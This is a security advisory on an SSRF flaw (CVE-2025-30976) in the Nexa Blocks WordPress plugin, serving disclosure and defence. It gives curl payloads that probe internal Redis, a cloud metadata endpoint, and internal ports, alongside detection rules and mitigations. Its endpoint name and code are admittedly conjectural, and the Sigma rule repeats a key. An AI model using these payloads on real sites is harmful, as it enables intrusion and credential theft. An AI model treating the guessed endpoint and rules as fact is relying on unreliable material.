CVE-2025-30976

Executive Summary

CVE-2025-30976 is a Server-Side Request Forgery (SSRF) vulnerability discovered in the Nexa Blocks WordPress plugin by wpdive. The flaw affects all versions up to and including 1.1.1. An authenticated attacker with low privileges can exploit this vulnerability to make the server send crafted HTTP requests to internal or external resources, potentially bypassing firewalls, accessing internal services, or performing port scans. The CVSS v3.1 base score is 4.9 (Medium), with a vector of AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N. No public exploit code or proof-of-concept has been released, and no patch is currently available from the vendor. This report provides a comprehensive technical analysis, detection rules, and mitigation strategies.

Supply Chain & Package Security

This vulnerability resides in a WordPress plugin distributed via the official WordPress plugin repository. As such, it affects the WordPress ecosystem directly. Users of the Nexa Blocks plugin should treat this as a supply chain risk, as the plugin may be bundled in themes or used as a dependency in other WordPress extensions. No known malicious packages have been identified, but the lack of a patch increases the risk of exploitation.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
• Base Score: 4.9 (Medium)
• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): Low (L) – Attacker needs a valid WordPress user account (e.g., subscriber).
• User Interaction (UI): None (N) – No user action needed.
• Scope (S): Unchanged (U) – Vulnerability does not affect other components.
• Confidentiality (C): Low (L) – Limited information disclosure (e.g., internal service banners).
• Integrity (I): None (N) – No data modification.
• Availability (A): None (N) – No denial of service.

Threat Level: Medium. While the CVSS score is moderate, SSRF can be chained with other vulnerabilities (e.g., internal service exploitation) to escalate impact. The lack of a patch and low attack complexity make this a realistic threat for WordPress sites with the plugin installed.

Deep Dive & Mechanics

The Nexa Blocks plugin provides custom Gutenberg blocks for WordPress. The SSRF vulnerability likely exists in a feature that fetches external resources (e.g., images, feeds, or API data) based on user-supplied URLs. The plugin fails to validate or sanitize the URL input, allowing an attacker to specify arbitrary destinations.

Root Cause: The plugin uses a server-side HTTP request function (e.g., wp_remote_get()) with a URL parameter directly derived from user input without proper validation. No allowlist of permitted domains or protocols is enforced, and no internal IP range filtering is applied.

Exploitation Flow:

1. Attacker logs in as a low-privileged user (e.g., subscriber).
2. Attacker crafts a request to a vulnerable endpoint (e.g., a REST API or AJAX handler) that accepts a URL parameter.
3. The server executes the request, potentially accessing internal services (e.g., http://127.0.0.1:8080/admin), cloud metadata endpoints (e.g., http://169.254.169.254/latest/meta-data/), or external systems.
4. The response (or error) is reflected back to the attacker, leaking information.

Example vulnerable code (conceptual):

function nexa_fetch_external_data($url) {
    $response = wp_remote_get($url);
    return wp_remote_retrieve_body($response);
}
add_action('wp_ajax_nexa_fetch', 'nexa_fetch_external_data');

Vulnerable vs. Patched Code

Since no patch is available, the following shows a conceptual vulnerable implementation and a recommended fix.

Vulnerable Code (nexa-blocks <= 1.1.1):

// Vulnerable: No URL validation
function nexa_fetch_url($url) {
    $response = wp_remote_get($url);
    return $response['body'];
}

Patched Code (Recommended):

// Patched: Validate URL against allowlist
function nexa_fetch_url($url) {
    $allowed_hosts = array('api.example.com', 'cdn.example.com');
    $parsed_url = parse_url($url);
    if (!in_array($parsed_url['host'], $allowed_hosts)) {
        return new WP_Error('invalid_url', 'URL not allowed');
    }
    // Also block private IPs
    if (filter_var($parsed_url['host'], FILTER_VALIDATE_IP) && 
        !filter_var($parsed_url['host'], FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
        return new WP_Error('blocked_ip', 'Private IPs not allowed');
    }
    $response = wp_remote_get($url);
    return $response['body'];
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• WordPress instance with Nexa Blocks plugin <= 1.1.1.
• Low-privileged user account (e.g., subscriber).
• Internal service to target (e.g., a local Redis or MySQL instance).

Step 1: Identify vulnerable endpoint Use a WordPress REST API discovery tool or inspect plugin AJAX actions. Common endpoints include /wp-admin/admin-ajax.php?action=nexa_fetch.

Step 2: Craft SSRF payload

# Attempt to access internal service
curl -X POST "http://target.com/wp-admin/admin-ajax.php" \
  -d "action=nexa_fetch&url=http://127.0.0.1:6379" \
  --cookie "wordpress_logged_in_xxx=..."

Step 3: Exploit cloud metadata (if applicable)

# AWS metadata endpoint
curl -X POST "http://target.com/wp-admin/admin-ajax.php" \
  -d "action=nexa_fetch&url=http://169.254.169.254/latest/meta-data/"

Step 4: Port scan internal network

for port in 80 443 3306 6379 8080; do
  curl -s -o /dev/null -w "%{http_code}" -X POST "http://target.com/wp-admin/admin-ajax.php" \
    -d "action=nexa_fetch&url=http://192.168.1.1:$port" \
    --cookie "wordpress_logged_in_xxx=..."
done

Blue Team

Detection:

• Monitor for outbound HTTP requests from the WordPress server to internal IP ranges (127.0.0.0/8, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 169.254.0.0/16).
• Alert on requests to cloud metadata endpoints (169.254.169.254, 100.100.100.200 for Alibaba).
• Log all AJAX requests to admin-ajax.php with suspicious url parameters.

Hunting:

• Search web server logs for action=nexa_fetch and examine the url parameter.
• Use network flow logs to identify unexpected outbound connections from the WordPress server.

Lab Setup:

# Docker-based lab
docker run -d --name wp-ssrf -p 8080:80 wordpress:latest
# Install Nexa Blocks plugin manually (v1.1.1)
docker cp nexa-blocks.zip wp-ssrf:/var/www/html/wp-content/plugins/
docker exec wp-ssrf wp plugin activate nexa-blocks
# Start a simple internal service for testing
docker run -d --name internal-service -p 6379:6379 redis:alpine

Indicators of Compromise (IOCs)

• Network IOCs:

  • Outbound HTTP requests to private IP ranges (127.0.0.0/8, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16).
  • Requests to cloud metadata IPs (169.254.169.254, 100.100.100.200).
  • Unusual User-Agent strings in outbound requests (may be default WordPress HTTP API).

• File IOCs:

  • Plugin file: /wp-content/plugins/nexa-blocks/nexa-blocks.php (version <= 1.1.1).
  • Log entries in /var/log/apache2/access.log or /var/log/nginx/access.log containing action=nexa_fetch.

• Behavioral IOCs:

  • Sudden increase in outbound HTTP traffic from the WordPress server.
  • Access to internal services (e.g., Redis, MySQL) from the web server that are not normally accessed.

Detection Engineering

YARA Rule

rule CVE_2025_30976_SSRF_Nexa_Blocks {
    meta:
        description = "Detects SSRF exploitation attempts against Nexa Blocks plugin"
        author = "Valters IT"
        date = "2025-04-01"
        reference = "CVE-2025-30976"
    strings:
        $ajax_action = "action=nexa_fetch"
        $url_param = "url=http"
        $private_ip = /url=http:\/\/(127\.|10\.|172\.(1[6-9]|2[0-9]|3[01])|192\.168\.|169\.254\.)/
        $metadata_ip = /url=http:\/\/169\.254\.169\.254/
    condition:
        $ajax_action and $url_param and ($private_ip or $metadata_ip)
}

Sigma Rule

title: CVE-2025-30976 SSRF Exploitation via Nexa Blocks
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects SSRF attempts targeting internal IPs via Nexa Blocks plugin
author: Valters IT
date: 2025-04-01
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-uri-query|contains: "action=nexa_fetch"
        cs-uri-query|contains: "url=http://"
    filter_public:
        cs-uri-query|contains:
            - "url=http://example.com"
            - "url=http://api.example.com"
    condition: selection and not filter_public
falsepositives:
    - Legitimate use of the plugin's fetch feature with allowed domains
level: high
tags:
    - attack.t1190
    - cve.2025.30976

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-30976 SSRF Nexa Blocks Exploit"; flow:to_server; content:"action=nexa_fetch"; http_client_body; content:"url=http://"; http_client_body; pcre:"/url=http:\/\/(127\.|10\.|172\.(1[6-9]|2[0-9]|3[01])|192\.168\.|169\.254\.)/Ri"; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin if not critical: Deactivate and delete the Nexa Blocks plugin until a patch is released.
2. Web Application Firewall (WAF) rules: Block requests containing action=nexa_fetch with suspicious URL parameters (internal IPs, metadata endpoints).
3. Network segmentation: Ensure the WordPress server cannot reach internal services unnecessarily. Use firewall rules to block outbound traffic to private IP ranges from the web server.

Long-term Fix:

• Monitor the wpdive vendor for a patched version (expected > 1.1.1). Apply immediately upon release.
• Implement input validation and allowlisting for all URL parameters in custom plugins.
• Use WordPress's built-in wp_http_validate_url() function to restrict URLs to allowed schemes and hosts.

Workaround (if plugin is essential):

• Modify the plugin code to add URL validation (see patched code example above). This will be overwritten on plugin update, so document the change.

Valters IT